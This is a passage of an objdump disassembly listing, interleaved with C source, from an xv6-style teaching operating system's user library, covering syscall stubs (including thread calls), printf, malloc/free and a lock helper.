3c 2f cmp $0x2f,%al 1705: 7e 0a jle 1711 <atoi+0x47> 1707: 8b 45 08 mov 0x8(%ebp),%eax 170a: 0f b6 00 movzbl (%eax),%eax 170d: 3c 39 cmp $0x39,%al 170f: 7e c8 jle 16d9 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 1711: 8b 45 fc mov -0x4(%ebp),%eax } 1714: c9 leave 1715: c3 ret 00001716 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 1716: 55 push %ebp 1717: 89 e5 mov %esp,%ebp 1719: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 171c: 8b 45 08 mov 0x8(%ebp),%eax 171f: 89 45 f8 mov %eax,-0x8(%ebp) src = vsrc; 1722: 8b 45 0c mov 0xc(%ebp),%eax 1725: 89 45 fc mov %eax,-0x4(%ebp) while(n-- > 0) 1728: eb 13 jmp 173d <memmove+0x27> *dst++ = *src++; 172a: 8b 45 fc mov -0x4(%ebp),%eax 172d: 0f b6 10 movzbl (%eax),%edx 1730: 8b 45 f8 mov -0x8(%ebp),%eax 1733: 88 10 mov %dl,(%eax) 1735: 83 45 f8 01 addl $0x1,-0x8(%ebp) 1739: 83 45 fc 01 addl $0x1,-0x4(%ebp) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 173d: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 1741: 0f 9f c0 setg %al 1744: 83 6d 10 01 subl $0x1,0x10(%ebp) 1748: 84 c0 test %al,%al 174a: 75 de jne 172a <memmove+0x14> *dst++ = *src++; return vdst; 174c: 8b 45 08 mov 0x8(%ebp),%eax } 174f: c9 leave 1750: c3 ret 1751: 90 nop 1752: 90 nop 1753: 90 nop 00001754 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 1754: b8 01 00 00 00 mov $0x1,%eax 1759: cd 40 int $0x40 175b: c3 ret 0000175c <exit>: SYSCALL(exit) 175c: b8 02 00 00 00 mov $0x2,%eax 1761: cd 40 int $0x40 1763: c3 ret 00001764 <wait>: SYSCALL(wait) 1764: b8 03 00 00 00 mov $0x3,%eax 1769: cd 40 int $0x40 176b: c3 ret 0000176c <pipe>: SYSCALL(pipe) 176c: b8 04 00 00 00 mov $0x4,%eax 1771: cd 40 int $0x40 1773: c3 ret 00001774 <read>: SYSCALL(read) 1774: b8 05 00 00 00 mov $0x5,%eax 1779: cd 40 int $0x40 177b: c3 ret 0000177c <write>: SYSCALL(write) 177c: b8 10 00 00 00 mov $0x10,%eax 1781: cd 40 int $0x40 1783: c3 ret 00001784 <close>: SYSCALL(close) 1784: b8 15 00 00 00 mov $0x15,%eax 1789: cd 40 int $0x40 178b: c3 ret 0000178c <kill>: SYSCALL(kill) 178c: b8 06 00 00 00 mov $0x6,%eax 1791: cd 40 int $0x40 1793: c3 ret 00001794 <exec>: SYSCALL(exec) 1794: b8 07 00 00 00 mov $0x7,%eax 1799: cd 40 int $0x40 179b: c3 ret 0000179c <open>: SYSCALL(open) 179c: b8 0f 00 00 00 mov $0xf,%eax 17a1: cd 40 int $0x40 17a3: c3 ret 000017a4 <mknod>: SYSCALL(mknod) 17a4: b8 11 00 00 00 mov $0x11,%eax 17a9: cd 40 int $0x40 17ab: c3 ret 000017ac <unlink>: SYSCALL(unlink) 17ac: b8 12 00 00 00 mov $0x12,%eax 17b1: cd 40 int $0x40 17b3: c3 ret 000017b4 <fstat>: SYSCALL(fstat) 17b4: b8 08 00 00 00 mov $0x8,%eax 17b9: cd 40 int $0x40 17bb: c3 ret 000017bc <link>: SYSCALL(link) 17bc: b8 13 00 00 00 mov $0x13,%eax 17c1: cd 40 int $0x40 17c3: c3 ret 000017c4 <mkdir>: SYSCALL(mkdir) 17c4: b8 14 00 00 00 mov $0x14,%eax 17c9: cd 40 int $0x40 17cb: c3 ret 000017cc <chdir>: SYSCALL(chdir) 17cc: b8 09 00 00 00 mov $0x9,%eax 17d1: cd 40 int $0x40 17d3: c3 ret 000017d4 <dup>: SYSCALL(dup) 17d4: b8 0a 00 00 00 mov $0xa,%eax 17d9: cd 40 int $0x40 17db: c3 ret 000017dc <getpid>: SYSCALL(getpid) 17dc: b8 0b 00 00 00 mov $0xb,%eax 17e1: cd 40 int $0x40 17e3: c3 ret 000017e4 <sbrk>: SYSCALL(sbrk) 17e4: b8 0c 00 00 00 mov $0xc,%eax 17e9: cd 40 int $0x40 17eb: c3 ret 000017ec <sleep>: SYSCALL(sleep) 17ec: b8 0d 00 00 00 mov $0xd,%eax 17f1: cd 40 int $0x40 17f3: c3 ret 000017f4 <uptime>: SYSCALL(uptime) 17f4: b8 0e 00 00 00 mov $0xe,%eax 17f9: cd 40 int $0x40 17fb: c3 ret 000017fc <clone>: SYSCALL(clone) 17fc: b8 16 00 00 00 mov $0x16,%eax 1801: cd 40 int $0x40 1803: c3 ret 00001804 <texit>: SYSCALL(texit) 1804: b8 17 00 00 00 mov $0x17,%eax 1809: cd 40 int $0x40 180b: c3 ret 0000180c <tsleep>: SYSCALL(tsleep) 180c: b8 18 00 00 00 mov $0x18,%eax 1811: cd 40 int $0x40 1813: c3 ret 00001814 <twakeup>: SYSCALL(twakeup) 1814: b8 19 00 00 00 mov $0x19,%eax 1819: cd 40 int $0x40 181b: c3 ret 0000181c <thread_yield>: SYSCALL(thread_yield) 181c: b8 1a 00 00 00 mov $0x1a,%eax 1821: cd 40 int $0x40 1823: c3 ret 00001824 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 1824: 55 push %ebp 1825: 89 e5 mov %esp,%ebp 1827: 83 ec 28 sub $0x28,%esp 182a: 8b 45 0c mov 0xc(%ebp),%eax 182d: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 1830: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 1837: 00 1838: 8d 45 f4 lea -0xc(%ebp),%eax 183b: 89 44 24 04 mov %eax,0x4(%esp) 183f: 8b 45 08 mov 0x8(%ebp),%eax 1842: 89 04 24 mov %eax,(%esp) 1845: e8 32 ff ff ff call 177c <write> } 184a: c9 leave 184b: c3 ret 0000184c <printint>: static void printint(int fd, int xx, int base, int sgn) { 184c: 55 push %ebp 184d: 89 e5 mov %esp,%ebp 184f: 53 push %ebx 1850: 83 ec 44 sub $0x44,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 1853: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 185a: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 185e: 74 17 je 1877 <printint+0x2b> 1860: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 1864: 79 11 jns 1877 <printint+0x2b> neg = 1; 1866: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 186d: 8b 45 0c mov 0xc(%ebp),%eax 1870: f7 d8 neg %eax 1872: 89 45 f4 mov %eax,-0xc(%ebp) char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 1875: eb 06 jmp 187d <printint+0x31> neg = 1; x = -xx; } else { x = xx; 1877: 8b 45 0c mov 0xc(%ebp),%eax 187a: 89 45 f4 mov %eax,-0xc(%ebp) } i = 0; 187d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) do{ buf[i++] = digits[x % base]; 1884: 8b 4d ec mov -0x14(%ebp),%ecx 1887: 8b 5d 10 mov 0x10(%ebp),%ebx 188a: 8b 45 f4 mov -0xc(%ebp),%eax 188d: ba 00 00 00 00 mov $0x0,%edx 1892: f7 f3 div %ebx 1894: 89 d0 mov %edx,%eax 1896: 0f b6 80 d8 21 00 00 movzbl 0x21d8(%eax),%eax 189d: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) 18a1: 83 45 ec 01 addl $0x1,-0x14(%ebp) }while((x /= base) != 0); 18a5: 8b 45 10 mov 0x10(%ebp),%eax 18a8: 89 45 d4 mov %eax,-0x2c(%ebp) 18ab: 8b 45 f4 mov -0xc(%ebp),%eax 18ae: ba 00 00 00 00 mov $0x0,%edx 18b3: f7 75 d4 divl -0x2c(%ebp) 18b6: 89 45 f4 mov %eax,-0xc(%ebp) 18b9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 18bd: 75 c5 jne 1884 <printint+0x38> if(neg) 18bf: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 18c3: 74 28 je 18ed <printint+0xa1> buf[i++] = '-'; 18c5: 8b 45 ec mov -0x14(%ebp),%eax 18c8: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) 18cd: 83 45 ec 01 addl $0x1,-0x14(%ebp) while(--i >= 0) 18d1: eb 1a jmp 18ed <printint+0xa1> putc(fd, buf[i]); 18d3: 8b 45 ec mov -0x14(%ebp),%eax 18d6: 0f b6 44 05 dc movzbl -0x24(%ebp,%eax,1),%eax 18db: 0f be c0 movsbl %al,%eax 18de: 89 44 24 04 mov %eax,0x4(%esp) 18e2: 8b 45 08 mov 0x8(%ebp),%eax 18e5: 89 04 24 mov %eax,(%esp) 18e8: e8 37 ff ff ff call 1824 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 18ed: 83 6d ec 01 subl $0x1,-0x14(%ebp) 18f1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 18f5: 79 dc jns 18d3 <printint+0x87> putc(fd, buf[i]); } 18f7: 83 c4 44 add $0x44,%esp 18fa: 5b pop %ebx 18fb: 5d pop %ebp 18fc: c3 ret 000018fd <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 18fd: 55 push %ebp 18fe: 89 e5 mov %esp,%ebp 1900: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 1903: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) ap = (uint*)(void*)&fmt + 1; 190a: 8d 45 0c lea 0xc(%ebp),%eax 190d: 83 c0 04 add $0x4,%eax 1910: 89 45 f4 mov %eax,-0xc(%ebp) for(i = 0; fmt[i]; i++){ 1913: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) 191a: e9 7e 01 00 00 jmp 1a9d <printf+0x1a0> c = fmt[i] & 0xff; 191f: 8b 55 0c mov 0xc(%ebp),%edx 1922: 8b 45 ec mov -0x14(%ebp),%eax 1925: 8d 04 02 lea (%edx,%eax,1),%eax 1928: 0f b6 00 movzbl (%eax),%eax 192b: 0f be c0 movsbl %al,%eax 192e: 25 ff 00 00 00 and $0xff,%eax 1933: 89 45 e8 mov %eax,-0x18(%ebp) if(state == 0){ 1936: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 193a: 75 2c jne 1968 <printf+0x6b> if(c == '%'){ 193c: 83 7d e8 25 cmpl $0x25,-0x18(%ebp) 1940: 75 0c jne 194e <printf+0x51> state = '%'; 1942: c7 45 f0 25 00 00 00 movl $0x25,-0x10(%ebp) 1949: e9 4b 01 00 00 jmp 1a99 <printf+0x19c> } else { putc(fd, c); 194e: 8b 45 e8 mov -0x18(%ebp),%eax 1951: 0f be c0 movsbl %al,%eax 1954: 89 44 24 04 mov %eax,0x4(%esp) 1958: 8b 45 08 mov 0x8(%ebp),%eax 195b: 89 04 24 mov %eax,(%esp) 195e: e8 c1 fe ff ff call 1824 <putc> 1963: e9 31 01 00 00 jmp 1a99 <printf+0x19c> } } else if(state == '%'){ 1968: 83 7d f0 25 cmpl $0x25,-0x10(%ebp) 196c: 0f 85 27 01 00 00 jne 1a99 <printf+0x19c> if(c == 'd'){ 1972: 83 7d e8 64 cmpl $0x64,-0x18(%ebp) 1976: 75 2d jne 19a5 <printf+0xa8> printint(fd, *ap, 10, 1); 1978: 8b 45 f4 mov -0xc(%ebp),%eax 197b: 8b 00 mov (%eax),%eax 197d: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 1984: 00 1985: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 198c: 00 198d: 89 44 24 04 mov %eax,0x4(%esp) 1991: 8b 45 08 mov 0x8(%ebp),%eax 1994: 89 04 24 mov %eax,(%esp) 1997: e8 b0 fe ff ff call 184c <printint> ap++; 199c: 83 45 f4 04 addl $0x4,-0xc(%ebp) 19a0: e9 ed 00 00 00 jmp 1a92 <printf+0x195> } else if(c == 'x' || c == 'p'){ 19a5: 83 7d e8 78 cmpl $0x78,-0x18(%ebp) 19a9: 74 06 je 19b1 <printf+0xb4> 19ab: 83 7d e8 70 cmpl $0x70,-0x18(%ebp) 19af: 75 2d jne 19de <printf+0xe1> printint(fd, *ap, 16, 0); 19b1: 8b 45 f4 mov -0xc(%ebp),%eax 19b4: 8b 00 mov (%eax),%eax 19b6: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 19bd: 00 19be: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 19c5: 00 19c6: 89 44 24 04 mov %eax,0x4(%esp) 19ca: 8b 45 08 mov 0x8(%ebp),%eax 19cd: 89 04 24 mov %eax,(%esp) 19d0: e8 77 fe ff ff call 184c <printint> ap++; 19d5: 83 45 f4 04 addl $0x4,-0xc(%ebp) } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 19d9: e9 b4 00 00 00 jmp 1a92 <printf+0x195> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 19de: 83 7d e8 73 cmpl $0x73,-0x18(%ebp) 19e2: 75 46 jne 1a2a <printf+0x12d> s = (char*)*ap; 19e4: 8b 45 f4 mov -0xc(%ebp),%eax 19e7: 8b 00 mov (%eax),%eax 19e9: 89 45 e4 mov %eax,-0x1c(%ebp) ap++; 19ec: 83 45 f4 04 addl $0x4,-0xc(%ebp) if(s == 0) 19f0: 83 7d e4 00 cmpl $0x0,-0x1c(%ebp) 19f4: 75 27 jne 1a1d <printf+0x120> s = "(null)"; 19f6: c7 45 e4 a4 21 00 00 movl $0x21a4,-0x1c(%ebp) while(*s != 0){ 19fd: eb 1f jmp 1a1e <printf+0x121> putc(fd, *s); 19ff: 8b 45 e4 mov -0x1c(%ebp),%eax 1a02: 0f b6 00 movzbl (%eax),%eax 1a05: 0f be c0 movsbl %al,%eax 1a08: 89 44 24 04 mov %eax,0x4(%esp) 1a0c: 8b 45 08 mov 0x8(%ebp),%eax 1a0f: 89 04 24 mov %eax,(%esp) 1a12: e8 0d fe ff ff call 1824 <putc> s++; 1a17: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 1a1b: eb 01 jmp 1a1e <printf+0x121> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 1a1d: 90 nop 1a1e: 8b 45 e4 mov -0x1c(%ebp),%eax 1a21: 0f b6 00 movzbl (%eax),%eax 1a24: 84 c0 test %al,%al 1a26: 75 d7 jne 19ff <printf+0x102> 1a28: eb 68 jmp 1a92 <printf+0x195> putc(fd, *s); s++; } } else if(c == 'c'){ 1a2a: 83 7d e8 63 cmpl $0x63,-0x18(%ebp) 1a2e: 75 1d jne 1a4d <printf+0x150> putc(fd, *ap); 1a30: 8b 45 f4 mov -0xc(%ebp),%eax 1a33: 8b 00 mov (%eax),%eax 1a35: 0f be c0 movsbl %al,%eax 1a38: 89 44 24 04 mov %eax,0x4(%esp) 1a3c: 8b 45 08 mov 0x8(%ebp),%eax 1a3f: 89 04 24 mov %eax,(%esp) 1a42: e8 dd fd ff ff call 1824 <putc> ap++; 1a47: 83 45 f4 04 addl $0x4,-0xc(%ebp) 1a4b: eb 45 jmp 1a92 <printf+0x195> } else if(c == '%'){ 1a4d: 83 7d e8 25 cmpl $0x25,-0x18(%ebp) 1a51: 75 17 jne 1a6a <printf+0x16d> putc(fd, c); 1a53: 8b 45 e8 mov -0x18(%ebp),%eax 1a56: 0f be c0 movsbl %al,%eax 1a59: 89 44 24 04 mov %eax,0x4(%esp) 1a5d: 8b 45 08 mov 0x8(%ebp),%eax 1a60: 89 04 24 mov %eax,(%esp) 1a63: e8 bc fd ff ff call 1824 <putc> 1a68: eb 28 jmp 1a92 <printf+0x195> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 1a6a: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 1a71: 00 1a72: 8b 45 08 mov 0x8(%ebp),%eax 1a75: 89 04 24 mov %eax,(%esp) 1a78: e8 a7 fd ff ff call 1824 <putc> putc(fd, c); 1a7d: 8b 45 e8 mov -0x18(%ebp),%eax 1a80: 0f be c0 movsbl %al,%eax 1a83: 89 44 24 04 mov %eax,0x4(%esp) 1a87: 8b 45 08 mov 0x8(%ebp),%eax 1a8a: 89 04 24 mov %eax,(%esp) 1a8d: e8 92 fd ff ff call 1824 <putc> } state = 0; 1a92: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 1a99: 83 45 ec 01 addl $0x1,-0x14(%ebp) 1a9d: 8b 55 0c mov 0xc(%ebp),%edx 1aa0: 8b 45 ec mov -0x14(%ebp),%eax 1aa3: 8d 04 02 lea (%edx,%eax,1),%eax 1aa6: 0f b6 00 movzbl (%eax),%eax 1aa9: 84 c0 test %al,%al 1aab: 0f 85 6e fe ff ff jne 191f <printf+0x22> putc(fd, c); } state = 0; } } } 1ab1: c9 leave 1ab2: c3 ret 1ab3: 90 nop 00001ab4 <free>: static Header base; static Header *freep; void free(void *ap) { 1ab4: 55 push %ebp 1ab5: 89 e5 mov %esp,%ebp 1ab7: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 1aba: 8b 45 08 mov 0x8(%ebp),%eax 1abd: 83 e8 08 sub $0x8,%eax 1ac0: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1ac3: a1 04 22 00 00 mov 0x2204,%eax 1ac8: 89 45 fc mov %eax,-0x4(%ebp) 1acb: eb 24 jmp 1af1 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 1acd: 8b 45 fc mov -0x4(%ebp),%eax 1ad0: 8b 00 mov (%eax),%eax 1ad2: 3b 45 fc cmp -0x4(%ebp),%eax 1ad5: 77 12 ja 1ae9 <free+0x35> 1ad7: 8b 45 f8 mov -0x8(%ebp),%eax 1ada: 3b 45 fc cmp -0x4(%ebp),%eax 1add: 77 24 ja 1b03 <free+0x4f> 1adf: 8b 45 fc mov -0x4(%ebp),%eax 1ae2: 8b 00 mov (%eax),%eax 1ae4: 3b 45 f8 cmp -0x8(%ebp),%eax 1ae7: 77 1a ja 1b03 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1ae9: 8b 45 fc mov -0x4(%ebp),%eax 1aec: 8b 00 mov (%eax),%eax 1aee: 89 45 fc mov %eax,-0x4(%ebp) 1af1: 8b 45 f8 mov -0x8(%ebp),%eax 1af4: 3b 45 fc cmp -0x4(%ebp),%eax 1af7: 76 d4 jbe 1acd <free+0x19> 1af9: 8b 45 fc mov -0x4(%ebp),%eax 1afc: 8b 00 mov (%eax),%eax 1afe: 3b 45 f8 cmp -0x8(%ebp),%eax 1b01: 76 ca jbe 1acd <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 1b03: 8b 45 f8 mov -0x8(%ebp),%eax 1b06: 8b 40 04 mov 0x4(%eax),%eax 1b09: c1 e0 03 shl $0x3,%eax 1b0c: 89 c2 mov %eax,%edx 1b0e: 03 55 f8 add -0x8(%ebp),%edx 1b11: 8b 45 fc mov -0x4(%ebp),%eax 1b14: 8b 00 mov (%eax),%eax 1b16: 39 c2 cmp %eax,%edx 1b18: 75 24 jne 1b3e <free+0x8a> bp->s.size += p->s.ptr->s.size; 1b1a: 8b 45 f8 mov -0x8(%ebp),%eax 1b1d: 8b 50 04 mov 0x4(%eax),%edx 1b20: 8b 45 fc mov -0x4(%ebp),%eax 1b23: 8b 00 mov (%eax),%eax 1b25: 8b 40 04 mov 0x4(%eax),%eax 1b28: 01 c2 add %eax,%edx 1b2a: 8b 45 f8 mov -0x8(%ebp),%eax 1b2d: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 1b30: 8b 45 fc mov -0x4(%ebp),%eax 1b33: 8b 00 mov (%eax),%eax 1b35: 8b 10 mov (%eax),%edx 1b37: 8b 45 f8 mov -0x8(%ebp),%eax 1b3a: 89 10 mov %edx,(%eax) 1b3c: eb 0a jmp 1b48 <free+0x94> } else bp->s.ptr = p->s.ptr; 1b3e: 8b 45 fc mov -0x4(%ebp),%eax 1b41: 8b 10 mov (%eax),%edx 1b43: 8b 45 f8 mov -0x8(%ebp),%eax 1b46: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 1b48: 8b 45 fc mov -0x4(%ebp),%eax 1b4b: 8b 40 04 mov 0x4(%eax),%eax 1b4e: c1 e0 03 shl $0x3,%eax 1b51: 03 45 fc add -0x4(%ebp),%eax 1b54: 3b 45 f8 cmp -0x8(%ebp),%eax 1b57: 75 20 jne 1b79 <free+0xc5> p->s.size += bp->s.size; 1b59: 8b 45 fc mov -0x4(%ebp),%eax 1b5c: 8b 50 04 mov 0x4(%eax),%edx 1b5f: 8b 45 f8 mov -0x8(%ebp),%eax 1b62: 8b 40 04 mov 0x4(%eax),%eax 1b65: 01 c2 add %eax,%edx 1b67: 8b 45 fc mov -0x4(%ebp),%eax 1b6a: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 1b6d: 8b 45 f8 mov -0x8(%ebp),%eax 1b70: 8b 10 mov (%eax),%edx 1b72: 8b 45 fc mov -0x4(%ebp),%eax 1b75: 89 10 mov %edx,(%eax) 1b77: eb 08 jmp 1b81 <free+0xcd> } else p->s.ptr = bp; 1b79: 8b 45 fc mov -0x4(%ebp),%eax 1b7c: 8b 55 f8 mov -0x8(%ebp),%edx 1b7f: 89 10 mov %edx,(%eax) freep = p; 1b81: 8b 45 fc mov -0x4(%ebp),%eax 1b84: a3 04 22 00 00 mov %eax,0x2204 } 1b89: c9 leave 1b8a: c3 ret 00001b8b <morecore>: static Header* morecore(uint nu) { 1b8b: 55 push %ebp 1b8c: 89 e5 mov %esp,%ebp 1b8e: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 1b91: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 1b98: 77 07 ja 1ba1 <morecore+0x16> nu = 4096; 1b9a: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 1ba1: 8b 45 08 mov 0x8(%ebp),%eax 1ba4: c1 e0 03 shl $0x3,%eax 1ba7: 89 04 24 mov %eax,(%esp) 1baa: e8 35 fc ff ff call 17e4 <sbrk> 1baf: 89 45 f0 mov %eax,-0x10(%ebp) if(p == (char*)-1) 1bb2: 83 7d f0 ff cmpl $0xffffffff,-0x10(%ebp) 1bb6: 75 07 jne 1bbf <morecore+0x34> return 0; 1bb8: b8 00 00 00 00 mov $0x0,%eax 1bbd: eb 22 jmp 1be1 <morecore+0x56> hp = (Header*)p; 1bbf: 8b 45 f0 mov -0x10(%ebp),%eax 1bc2: 89 45 f4 mov %eax,-0xc(%ebp) hp->s.size = nu; 1bc5: 8b 45 f4 mov -0xc(%ebp),%eax 1bc8: 8b 55 08 mov 0x8(%ebp),%edx 1bcb: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 1bce: 8b 45 f4 mov -0xc(%ebp),%eax 1bd1: 83 c0 08 add $0x8,%eax 1bd4: 89 04 24 mov %eax,(%esp) 1bd7: e8 d8 fe ff ff call 1ab4 <free> return freep; 1bdc: a1 04 22 00 00 mov 0x2204,%eax } 1be1: c9 leave 1be2: c3 ret 00001be3 <malloc>: void* malloc(uint nbytes) { 1be3: 55 push %ebp 1be4: 89 e5 mov %esp,%ebp 1be6: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1be9: 8b 45 08 mov 0x8(%ebp),%eax 1bec: 83 c0 07 add $0x7,%eax 1bef: c1 e8 03 shr $0x3,%eax 1bf2: 83 c0 01 add $0x1,%eax 1bf5: 89 45 f4 mov %eax,-0xc(%ebp) if((prevp = freep) == 0){ 1bf8: a1 04 22 00 00 mov 0x2204,%eax 1bfd: 89 45 f0 mov %eax,-0x10(%ebp) 1c00: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1c04: 75 23 jne 1c29 <malloc+0x46> base.s.ptr = freep = prevp = &base; 1c06: c7 45 f0 fc 21 00 00 movl $0x21fc,-0x10(%ebp) 1c0d: 8b 45 f0 mov -0x10(%ebp),%eax 1c10: a3 04 22 00 00 mov %eax,0x2204 1c15: a1 04 22 00 00 mov 0x2204,%eax 1c1a: a3 fc 21 00 00 mov %eax,0x21fc base.s.size = 0; 1c1f: c7 05 00 22 00 00 00 movl $0x0,0x2200 1c26: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1c29: 8b 45 f0 mov -0x10(%ebp),%eax 1c2c: 8b 00 mov (%eax),%eax 1c2e: 89 45 ec mov %eax,-0x14(%ebp) if(p->s.size >= nunits){ 1c31: 8b 45 ec mov -0x14(%ebp),%eax 1c34: 8b 40 04 mov 0x4(%eax),%eax 1c37: 3b 45 f4 cmp -0xc(%ebp),%eax 1c3a: 72 4d jb 1c89 <malloc+0xa6> if(p->s.size == nunits) 1c3c: 8b 45 ec mov -0x14(%ebp),%eax 1c3f: 8b 40 04 mov 0x4(%eax),%eax 1c42: 3b 45 f4 cmp -0xc(%ebp),%eax 1c45: 75 0c jne 1c53 <malloc+0x70> prevp->s.ptr = p->s.ptr; 1c47: 8b 45 ec mov -0x14(%ebp),%eax 1c4a: 8b 10 mov (%eax),%edx 1c4c: 8b 45 f0 mov -0x10(%ebp),%eax 1c4f: 89 10 mov %edx,(%eax) 1c51: eb 26 jmp 1c79 <malloc+0x96> else { p->s.size -= nunits; 1c53: 8b 45 ec mov -0x14(%ebp),%eax 1c56: 8b 40 04 mov 0x4(%eax),%eax 1c59: 89 c2 mov %eax,%edx 1c5b: 2b 55 f4 sub -0xc(%ebp),%edx 1c5e: 8b 45 ec mov -0x14(%ebp),%eax 1c61: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 1c64: 8b 45 ec mov -0x14(%ebp),%eax 1c67: 8b 40 04 mov 0x4(%eax),%eax 1c6a: c1 e0 03 shl $0x3,%eax 1c6d: 01 45 ec add %eax,-0x14(%ebp) p->s.size = nunits; 1c70: 8b 45 ec mov -0x14(%ebp),%eax 1c73: 8b 55 f4 mov -0xc(%ebp),%edx 1c76: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 1c79: 8b 45 f0 mov -0x10(%ebp),%eax 1c7c: a3 04 22 00 00 mov %eax,0x2204 return (void*)(p + 1); 1c81: 8b 45 ec mov -0x14(%ebp),%eax 1c84: 83 c0 08 add $0x8,%eax 1c87: eb 38 jmp 1cc1 <malloc+0xde> } if(p == freep) 1c89: a1 04 22 00 00 mov 0x2204,%eax 1c8e: 39 45 ec cmp %eax,-0x14(%ebp) 1c91: 75 1b jne 1cae <malloc+0xcb> if((p = morecore(nunits)) == 0) 1c93: 8b 45 f4 mov -0xc(%ebp),%eax 1c96: 89 04 24 mov %eax,(%esp) 1c99: e8 ed fe ff ff call 1b8b <morecore> 1c9e: 89 45 ec mov %eax,-0x14(%ebp) 1ca1: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1ca5: 75 07 jne 1cae <malloc+0xcb> return 0; 1ca7: b8 00 00 00 00 mov $0x0,%eax 1cac: eb 13 jmp 1cc1 <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1cae: 8b 45 ec mov -0x14(%ebp),%eax 1cb1: 89 45 f0 mov %eax,-0x10(%ebp) 1cb4: 8b 45 ec mov -0x14(%ebp),%eax 1cb7: 8b 00 mov (%eax),%eax 1cb9: 89 45 ec mov %eax,-0x14(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 1cbc: e9 70 ff ff ff jmp 1c31 <malloc+0x4e> } 1cc1: c9 leave 1cc2: c3 ret 1cc3: 90 nop 00001cc4 <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { 1cc4: 55 push %ebp 1cc5: 89 e5 mov %esp,%ebp 1cc7: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 1cca: 8b 55 08 mov 0x8(%ebp),%edx 1ccd: 8b 45 0c mov 0xc(%ebp),%eax 1cd0: 8b 4d 08 mov 0x8(%ebp),%ecx 1cd3: f0 87 02 lock xchg %eax,(%edx) 1cd6: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 1cd9: 8b 45 fc mov -0x4(%ebp),%eax } 1cdc: c9 leave 1cdd: c3 ret 00001cde <lock_init>: #include "x86.h" #include "proc.h" unsigned long rands = 1; void lock_init(lock_t *lock){ 1cde: 55 push %ebp 1cdf: 89 e5 mov %esp,%ebp lock->locked = 0; 1ce1: 8b 45 08 mov 0x8(%ebp),%eax 1ce4: c7 00 00 